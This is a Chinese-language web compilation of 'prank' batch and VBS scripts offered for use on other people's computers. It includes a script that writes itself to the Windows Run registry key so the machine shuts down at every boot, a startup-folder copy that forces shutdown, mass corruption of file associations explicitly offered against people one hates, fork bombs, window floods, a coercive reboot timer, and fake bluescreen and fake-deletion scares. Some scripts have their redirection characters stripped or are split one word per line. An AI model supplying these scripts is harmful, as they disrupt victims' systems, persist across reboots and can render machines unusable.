bat简单恶搞代码大全(恶搞代码vbs)
bat整人代码
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我爱张辰，不说就一分钟内关你机，不信，试试···"" ",0 ,true
dim a
do while(a "我爱张辰")
a = inputbox ("说我爱张辰,就不关机，快点，说 ""我爱张辰"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说不就好啦 真是的！"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "宝儿 我也爱你"
PS; 这是给我女朋友写的一段代码 你可以把上边的文字改成你想要的就可以的
文件脚本改为.vbs 就ok了
一些bat恶搞文件的代码，顺便发下教程
@echo off
title Sc_简爱
cls
mode con: cols=30 lines=4
echo.@echo off C:\Sc简爱.bat
echo.mode con: cols=30 lines=3 C:\Sc简爱.bat
echo.cls C:\Sc简爱.bat
echo.shutdown -f -s -t 0 C:\Sc简爱.bat
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "简爱" /t REG_SZ /d "C:\Sc简爱.bat" nul
::::解释一下 这段批处理运行后 暂时没效果 但是关机或者重启就开不开机了 开机自动关机
::::开机F8进安全模式 删除 C:\Sc简爱.bat 即可
::::也可以在最后加一句 C:\Sc简爱.bat 立马关机
BAT格式的整人代码和作用！谢谢！
1.运行后模拟蓝屏（纯属界面模拟，无任何危害，连按三次Esc键可退出)========================cut here===================================================@echo off
"%~f0" more +6 |debug nul
move t "BLUESRN.COM"
BLUESRN
del BLUESRN.COM
goto :eof
e0100 B4 00 B0 12 CD 10 B0 03 CD 10 B4 02 B7 00 B6 07
e0110 B2 00 CD 10 BB 00 00 B4 09 B9 09 00 8B 97 07 03
e0120 CD 21 83 C3 02 E2 F5 B8 00 B8 8E C0 BB 00 00 26
e0130 C6 47 01 17 83 C3 02 81 FB 9F 0F 77 02 EB F0 B3
e0140 00 B4 00 CD 16 3C 1B 75 F6 FE C3 80 FB 03 72 F1
e0150 B8 00 4C CD 21 00 20 20 20 20 20 20 20 20 20 20
e0160 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
e0170 20 20 20 20 20 20 20 20 20 57 69 6E 64 6F 77 73
e0180 0D 0A 24 0D 0A 24 20 20 20 20 20 41 20 66 61 74
e0190 61 6C 20 65 78 63 65 70 74 69 6F 6E 20 30 45 20
e01A0 68 61 73 20 6F 63 63 75 72 72 65 64 20 61 74 20
e01B0 30 30 32 38 3A 43 30 30 31 31 45 33 36 20 69 6E
e01C0 20 56 58 44 20 56 4D 4D 28 30 31 29 20 2B 0D 0A
e01D0 24 20 20 20 20 20 30 30 30 31 30 45 33 36 2E 20
e01E0 54 68 65 20 63 75 72 72 65 6E 74 20 61 70 70 6C
e01F0 69 63 61 74 69 6F 6E 20 77 69 6C 6C 20 62 65 20
e0200 74 65 72 6D 69 6E 61 74 65 64 2E 0D 0A 24 20 20
e0210 20 20 20 2A 20 20 50 72 65 73 73 20 61 6E 79 20
e0220 6B 65 79 20 74 6F 20 74 65 72 6D 69 6E 61 74 65
e0230 20 74 68 65 20 63 75 72 72 65 6E 74 20 61 70 70
e0240 6C 69 63 61 74 69 6F 6E 2E 0D 0A 24 20 20 20 20
e0250 20 2A 20 20 50 72 65 73 73 20 43 54 52 4C 2B 41
e0260 4C 54 2B 44 45 4C 20 61 67 61 69 6E 20 74 6F 20
e0270 72 65 73 74 61 72 74 20 79 6F 75 72 20 63 6F 6D
e0280 70 75 74 65 72 2E 20 59 6F 75 20 77 69 6C 6C 0D
e0290 0A 24 20 20 20 20 20 20 20 20 6C 6F 73 65 20 61
e02A0 6E 79 20 75 6E 73 61 76 65 64 20 69 6E 66 6F 72
e02B0 6D 61 74 69 6F 6E 20 69 6E 20 61 6C 6C 20 61 70
e02C0 70 6C 69 63 61 74 69 6F 6E 73 2E 0D 0A 24 0D 0A
e02D0 24 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
e02E0 20 20 20 20 20 20 20 20 20 20 20 20 50 72 65 73
e02F0 73 20 61 6E 79 20 6B 65 79 20 74 6F 20 63 6F 6E
e0300 74 69 6E 75 65 20 24 56 01 83 01 86 01 D1 01 0E
e0310 02 4C 02 92 02 CE 02 D1 02
rcx
219
n t
w
q========================cut here===================================================2.运行后，窗口会自动消失，然后打开最大化的C:\WINDOWS，无论缩小还是关掉，都会有个最大化的窗口置顶========================cut here===================================================@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)exit
:begin
for /l %%i in (1,1,100000) do start /max C:\WINDOWS========================cut here===================================================3.很简短的一段代码，但很有趣，有点像程序大战，运行后，看到好像停了的时候就关了它，再看看原来文件的大小，会变得很大，再看看它的代码，已经变了,我运行后等了2秒关了，大小变成了30.2MB了========================cut here===================================================type %0%0 ========================cut here===================================================这个要注意有两行，打完第一行是有一个回车的
求Bat整人代码。。很搞笑很吓人但是很安全！
@echo
off
color
0b
mode
con:
cols=80
lines=20
@title=超级病毒
for
/L
%%a
in
(
3,-1,0
)
do
(
for
/l
%%a
in
(1,1,8)
do
echo\
echo
入侵倒计时
%%a
秒
ping
-n
2
127.1
1nul
2nul
cls
)
cls
color
40
for
/l
%%a
in
(1,1,8)
do
echo\
echo
正在遭受黑客入侵...
ping
127.1
/n
3
nul
echo.
echo
警告！警告！电脑已被入侵！！！
ping
127.1
/n
3
nul
cls
echo.
echo.
echo.
echo
正在删除G盘所有文件...
set
/p
a="============================================================================
=="nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^nul
ping/n
1
127.1
nul
)
echo
删除完毕
echo.
echo
正在删除E盘所有文件...
set
/p
a="============================================================================
=="nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^nul
ping/n
1
127.1
nul
)
echo
删除完毕
echo.
echo
正在删除D盘所有文件...
set
/p
a="============================================================================
=="nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^nul
ping/n
1
127.1
nul
)
echo
删除完毕
echo.
echo
正在删除C盘所有文件...
set
/p
a="============================================================================
=="nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^nul
ping/n
1
127.1
nul
)
echo
删除完毕
echo.
echo
正在删除分区表...
set
/p
a="============================================================================
=="nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^nul
ping/n
1
127.1
nul
)
echo.
echo
删除完毕
echo.
echo.
echo
正在遭受黑客的炸弹袭击！
echo.
echo
电脑崩溃！准备关闭系统！
ping
127.1
/n
3
nul
shutdown
-s
-t
nulp
/p
跪求bat整人代码
这是一个恶搞程序，运行后会出现N个本地磁盘，但是对电脑没有什么实际伤害。
@echo off
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:\)
如果要解除就用这个
@echo off
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)
如果你对对方恨之入骨就用这个，这个会把文件关联改的一团糟
@echo off
assoc .exe=txtfile
assoc .txt=exefile
assoc .mp3=txtfile
assoc .flv=txtfile
assoc .swf=txtfile
assoc .fla=txtfile
assoc .jpg=txtfile
assoc .bmp=txtfile
assoc .zip=txtfile
assoc .7z=txtfile
assoc .rar=txtfile
assoc .tag=txtfile
assoc .jpge=txtfile
assoc .mp4=txtfile
assoc .3gp=txtfile
assoc .avi=txtfile
assoc .wav=txtfile
assoc .htm=txtfile
assoc .html=txtfile
assoc .vbs=txtfile
assoc .vbe=txtfile
assoc .js=txtfile
assoc .rxproj=txtfile
assoc .mdb=txtfile
assoc .dll=txtfile
assoc .dat=txtfile
assoc .sys=txtfile
assoc .wmv=txtfile
assoc .ogg=txtfile
assoc .db=txtfile
assoc .mid=txtfile
assoc .gif=txtfile
assoc .png=txtfile
assoc .doc=txtfile
assoc .exl=txtfile
assoc .pdf=txtfile
assoc .chm=txtfile
assoc .nfo=txtfile
或者用这个
@echo off
copy %0 "%ALLUSERSPROFILE%\「开始」菜单\程序\启动"
shutdown -s -f -t 0
你也可以用这个超级弹窗程序吓吓他
@echo off
for /l %%i in (1,1,10000) do (start %0)